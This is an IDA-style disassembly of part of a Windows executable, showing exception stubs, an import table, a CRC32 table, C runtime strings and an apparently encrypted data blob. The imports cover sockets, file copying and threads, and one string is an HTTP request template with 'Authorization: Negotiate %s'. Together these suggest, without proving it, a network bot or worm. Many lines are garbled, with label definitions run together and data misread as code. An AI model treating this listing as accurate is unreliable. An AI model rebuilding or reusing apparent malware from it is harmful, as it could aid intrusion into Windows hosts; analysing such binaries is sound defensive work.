		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_41C16C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41B0FB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41B138	proc near		; DATA XREF: seg001:0041CE64o

; FUNCTION CHUNK AT 00402D9C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_402D9C
sub_41B138	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_41B156
		mov	ecx, [ebp+8]
		jmp	loc_402D9C
; ---------------------------------------------------------------------------

locret_41B156:				; CODE XREF: seg000:0041B148j
		retn
; ---------------------------------------------------------------------------


loc_41B157:				; DATA XREF: sub_402930o
		mov	eax, offset dword_41CE38
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_402D9C
; ---------------------------------------------------------------------------


loc_41B16C:				; DATA XREF: seg001:0041CE94o
		lea	ecx, [ebp-1Ch]
		jmp	loc_402D9C
; ---------------------------------------------------------------------------


loc_41B174:				; DATA XREF: sub_402AD2o
		mov	eax, offset dword_41CE68
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 10h


loc_41B180:				; DATA XREF: sub_40307Fo
		mov	eax, offset dword_41CE98
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_402D9C
; ---------------------------------------------------------------------------


loc_41B194:				; DATA XREF: sub_41ACA0o
		mov	eax, offset dword_41CF70
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_41B0A7
; ---------------------------------------------------------------------------


loc_41B1A8:				; DATA XREF: sub_41ACFAo
		mov	eax, offset dword_41CF98
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B0A7
; ---------------------------------------------------------------------------


loc_41B1BC:				; DATA XREF: sub_41AD88o
		mov	eax, offset dword_41CFE0
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B0A7
; ---------------------------------------------------------------------------


loc_41B1D0:				; DATA XREF: sub_41ADE1o
		mov	eax, offset dword_41D008
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B0A7
; ---------------------------------------------------------------------------


loc_41B1E4:				; DATA XREF: sub_41AE3Eo
		mov	eax, offset dword_41D030
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_402D9C
; ---------------------------------------------------------------------------


loc_41B1F8:				; DATA XREF: sub_41AECCo
		mov	eax, offset dword_41D098
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41B0A7
; ---------------------------------------------------------------------------


loc_41B20C:				; DATA XREF: sub_41AF26o
		mov	eax, offset dword_41D0C0
		jmp	loc_410F5B
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 0001C000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0001C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 41C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41C000	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_411914+Dr
		dd 7C833478h
dword_41C008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; seg000:0041A999r
dword_41C00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; seg000:0041A7F1r
		dd 7C832044h, 7C812641h, 7C81DC03h, 7C80BCCFh, 7C809E01h
dword_41C024	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; seg000:00418979r
dword_41C028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41C03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; seg000:00417941r
dword_41C044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		dd 7C80C058h
dword_41C04C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:00401C13r ...
		dd 7C80A427h, 7C82FA46h
dword_41C058	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40380D+6Er ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41C068	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_405136r ...
dword_41C06C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:00405108r ...
dword_41C070	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4047B6+B2r ...
		dd 7C810A77h
dword_41C078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_4047B6+25r ...
dword_41C07C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_4089FD+290r ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41C08C	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_404134+5D7r
dword_41C090	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_41C094	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_4165C4+84r ...
dword_41C098	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_4169A2+4Fr
dword_41C09C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41C0A0	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41C0A4	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41C0A8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40550F+443r
dword_41C0AC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_405D8E:loc_406224r ...
dword_41C0B0	dd 3A7574h						; sub_414942+15r ...
dword_41C0B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_41C0BC	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41C0C0	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
dword_41C0EC	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:0040F8C2r
		dd 7C8310F2h, 7C814EEAh
dword_41C0F8	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_4089FD+16Fr ...
		dd 7C831EABh, 7C8309E1h, 7C809920h
dword_41C108	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA		dd 7C802520h, 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41C11C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:00416DA1r ...
dword_41C120	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4128E9+54r ...
		dd 7C8216A4h, 7C80DDF5h, 7C801E16h
dword_41C130	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_41C134	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_41237F+AFr ...
dword_41C138	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_41357B+2C4r ...
dword_41C13C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_41C148	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_413BAF+28r
		dd 7C801EEEh, 7C812F1Dh
dword_41C154	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41C158	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41C15C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41C160	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41C164	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_413C60+51r
		dd 7C809E79h
dword_41C16C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41B0FB+2Er
dword_41C170	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_41C178	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:00416CE1r ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41C188	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h, 0
dword_41C194	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_40380D+8Er
dword_41C198	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_403790+15r
dword_41C19C	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_41C1A0	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41C1A4	dd 71AB3E00h	; resolved to->WS2_32.binddword_41C1A8	dd 71AB88D3h	; resolved to->WS2_32.listendword_41C1AC	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41C1B0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40318D+115r
dword_41C1B4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_41C1B8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_41C1BC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403790+41r
dword_41C1C0	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40318D+74r ...
dword_41C1C4	dd 71AB406Ah	; resolved to->WS2_32.connectdword_41C1C8	dd 71AB615Ah	; resolved to->WS2_32.recvdword_41C1CC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40318D+E4r ...
dword_41C1D0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_403790+68r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402AD2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_41C218	dq 1.388888888888889e-2	; DATA XREF: sub_4028E4+2Fr
dbl_41C220	dq 1.666666666666667e-1	; DATA XREF: sub_4028E4+15r
dword_41C228	dd 0FFFFFFFFh						; sub_402DA4r ...
		align 10h
dbl_41C230	dq 1.333333333333333	; DATA XREF: sub_402930+79r
dword_41C238	dd 0							; sub_402E54+5Bo ...
dword_41C23C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 2 dup(0)
byte_41C644	db 0			; DATA XREF: sub_412C3C+4Ar
		align 2
		dw 3F50h
dbl_41C648	dq -3.0517578125e-5	; DATA XREF: sub_40F6B3+1Er
dbl_41C650	dq 1.0			; DATA XREF: sub_410CB2+6Cr
					; sub_410DFB+6Cr ...
dword_41C658	dd 0FFFFFFFFh, 412ABFh,	412AD3hbyte_41C664	db 6			; DATA XREF: sub_412C3C:loc_412C93r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_42E18Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_42E188o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_42E3B4o
		align 10h
dbl_41C790	dq 0.0			; DATA XREF: sub_4143EF+8Cr
					; sub_4143EF+ACr ...
dbl_41C798	dq 4.195835e6		; DATA XREF: sub_414904+Fr
dbl_41C7A0	dq 3.145727e6		; DATA XREF: sub_414904+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_414942+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_414942o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_414A69+93o
		align 4
dword_41C7D8	dd 0FFFFFFFFh, 415154h,	41515Eh, 0dword_41C7E8	dd 0FFFFFFFFh, 0		dd offset loc_4152DA
		align 8
		dd offset sub_4152B8
; ---------------------------------------------------------------------------
		retn	4152h
; ---------------------------------------------------------------------------
		align 10h
dword_41C800	dd 0FFFFFFFFh, 41550Ah,	41550Eh, 0dword_41C810	dd 0FFFFFFFFh, 41556Ch,	415575h, 0dword_41C820	dd 0FFFFFFFFh, 0		dd offset loc_41563D
		align 10h
		dd offset loc_415629
		dd offset loc_41562D
dword_41C838	dd 0FFFFFFFFh, 0		dd offset loc_415693
		align 8
		dd offset loc_41567F
		dd offset loc_415683
dword_41C850	dd 2 dup(0)						; seg000:0041811Do ...
dword_41C858	dd 0FFFFFFFFh, 416CA4h,	416CA8h, 0FFFFFFFFh, 416D58h, 416D5Ch
					; DATA XREF: seg000:00416B99o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_42E7FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_417C59+119o
		align 10h
asc_41CB20	db 0Ah			; DATA XREF: sub_417C59+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_417C59+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_417C59+BFo
aProgramNameUnk	db '<program name unknown>',0
		align 10h
dword_41CB60	dd 0FFFFFFFFh, 4181DDh,	4181E1haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: seg000:00418B8Co
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4195E1+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4195E1+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4195E1+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_419DB1:loc_419EA6o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_419DB1+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_419DB1+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_419DB1+ADo
		align 10h
dword_41CC00	dd 0FFFFFFFFh, 41A8EFh,	41A8F3h, 0FFFFFFFFh, 41A95Eh, 41A962h
					; DATA XREF: seg000:0041A73Do
		dd 41CD20h
off_41CC1C	dd offset loc_41AE98	; DATA XREF: sub_41ACA0+4Do
					; sub_41AEB4+Co
		dd offset sub_41AD5E
		dd offset sub_41AE7B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41ACA0+1Eo
		dd offset dword_41CD58
off_41CC3C	dd offset loc_41ADC5	; DATA XREF: sub_41ACFA+4Eo
					; sub_41AD88+11o ...
		dd offset sub_41AD5E
		dd offset sub_41AD6B
		dd offset dword_41CDA8
off_41CC4C	dd offset loc_41AF80	; DATA XREF: sub_41AECC+4Do
					; sub_41AF9C+Co
		dd offset sub_41AD5E
		dd offset sub_41AF63
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41AECC+1Eo
		dd offset dword_41CDD8
off_41CC74	dd offset sub_41B004	; DATA XREF: sub_41B020+8o
					; sub_41B05D+8o ...
		dd offset sub_41B0BD
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41B0BD+7o
		align 10h
		dd offset dword_41CE20
off_41CC94	dd offset loc_41B0DF	; DATA XREF: sub_41B0CAo
					; seg002:off_42EF20o ...
dword_41CC98	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41CCB8	dd offset off_42EF20	; DATA XREF: seg001:0041CD08o
					; seg001:0041CD3Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41CCD0	dd offset off_42EF38	; DATA XREF: seg001:0041CD04o
					; seg001:0041CD38o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41CCE8	dd offset off_42EF58	; DATA XREF: seg001:0041CD00o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CCE8
		dd offset off_41CCD0
		dd offset off_41CCB8
dword_41CD0C	dd 3 dup(0)			dd 3, 41CD00h, 3 dup(0)
		dd offset off_42EF58
		dd offset dword_41CD0C+4
		align 8
		dd offset off_41CCD0
		dd offset off_41CCB8
dword_41CD40	dd 4 dup(0)			dd 2, 41CD38h
dword_41CD58	dd 3 dup(0)			dd offset off_42EF38
		dd offset dword_41CD40+8
		align 10h
off_41CD70	dd offset off_42EF78	; DATA XREF: seg001:0041CD88o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CD70
		dd offset off_41CCD0
		dd offset off_41CCB8
		dd 0
		db    0			; DATA XREF: seg001:0041CDB8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41CD88h
dword_41CDA8	dd 3 dup(0)			dd offset off_42EF78
		dd offset unk_41CD98
		dd offset off_41CCB8
dword_41CDC0	dd 4 dup(0)			dd 1, 41CDBCh
dword_41CDD8	dd 3 dup(0)			dd offset off_42EF20
		dd offset dword_41CDC0+8
		align 10h
off_41CDF0	dd offset off_42EF98	; DATA XREF: seg001:0041CE08o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CDF0
dword_41CE0C	dd 3 dup(0)			dd 1, 41CE08h
dword_41CE20	dd 3 dup(0)			dd offset off_42EF98
		dd offset dword_41CE0C+4
		align 8
dword_41CE38	dd 19930520h, 2, 41CE58h, 5 dup(0)		dd 0FFFFFFFFh, 41B140h,	0
		dd offset sub_41B138
dword_41CE68	dd 19930520h, 2, 41CE88h, 5 dup(0)		dd 0FFFFFFFFh, 41B164h,	0
		dd offset loc_41B16C
dword_41CE98	dd 19930520h, 2, 41CEB8h, 1, 41CEC8h, 3	dup(0)
					; DATA XREF: seg000:loc_41B180o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41CEE0h, 4	dup(0)
		dd offset loc_4030BE
		dd 0
		dd offset off_42EF20
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41B05Dh, 2 dup(0)
		dd offset off_42EF38
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41ADE1h, 2 dup(0)
		dd offset off_42EF58
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41AEB4h, 0
dword_41CF50	dd 3, 41CF30h, 41CF10h,	41CEF0hdword_41CF60	dd 0							; sub_41AE7B+12o
		dd offset sub_41AE3E
		dd 0
		dd offset dword_41CF50
dword_41CF70	dd 19930520h, 1, 41CF90h, 5 dup(0)		dd 0FFFFFFFFh, 41B18Ch
dword_41CF98	dd 19930520h, 1, 41CFB8h, 5 dup(0)dword_41CFB8	dd 0FFFFFFFFh, 41B1A0h,	2, 41CF10h, 41CEF0h, 0dword_41CFD0	dd 0				dd offset sub_41AD88
		dd 0
		dd offset dword_41CFB8+8
dword_41CFE0	dd 19930520h, 1, 41D000h, 5 dup(0)		dd 0FFFFFFFFh, 41B1B4h
dword_41D008	dd 19930520h, 1, 41D028h, 5 dup(0)		dd 0FFFFFFFFh, 41B1C8h
dword_41D030	dd 19930520h, 1, 41D050h, 5 dup(0)		dd 0FFFFFFFFh, 41B1DCh,	0
		dd offset off_42EF78
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41AF9Ch, 0
dword_41D078	dd 3, 41D058h, 41CF10h,	41CEF0hdword_41D088	dd 0							; sub_41AF63+12o
		dd offset sub_41AF26
		dd 0
		dd offset dword_41D078
dword_41D098	dd 19930520h, 1, 41D0B8h, 5 dup(0)		dd 0FFFFFFFFh, 41B1F0h
dword_41D0C0	dd 19930520h, 1, 41D0E0h, 5 dup(0)		dd 0FFFFFFFFh, 41B204h,	1D2B8h,	2 dup(0)
		dd 1D2FCh, 1C194h, 1D124h, 2 dup(0)
		dd 1DA1Ah, 1C000h, 5 dup(0)
		dd 0B4E94F73h, 226E7F15h, 389159C5h, 0A65821F4h, 7E14D5C6h
		dd 585EC416h, 7B718AF8h, 930F280Eh, 0B17C7B0Eh,	0BB87CE18h
		dd 1B88BA66h, 3A9638BCh, 17CBFE63h, 83178701h, 0C8A56CE6h
		dd 0E2898E6Dh, 0B63CF79Ah, 0A41FE5AFh, 0E7A25CBFh, 0ABB8E224h
		dd 0B2E39DD8h, 82F87C28h, 0D021FAC1h, 0B7E7EA81h, 3F23AAE5h
		dd 37D76EC0h, 0DFA7DB58h, 61214CFh, 0AA72259Ah,	7E755FE1h
		dd 6782B227h, 0E4C8A4Fh, 5844D848h, 7D625680h, 0E73B90D1h
		dd 0F1F515B8h, 8FBFE375h, 7599F058h, 0B308BBFAh, 0D6AA9373h
		dd 77E50073h, 0C1A38A3Bh, 67258B79h, 4BA5B0E1h,	0BB2118D3h
		dd 6ECEC90Ch, 0B1BEBB69h, 291B9474h, 0C79D1203h, 57DFCCFDh
		dd 0AEBA5901h, 0D7F0149Eh, 0B3A81263h, 0F0209555h, 3AEEAD82h
		dd 6F29BBDEh, 879CBF24h, 0CB107080h, 914EFB02h,	83A87C02h
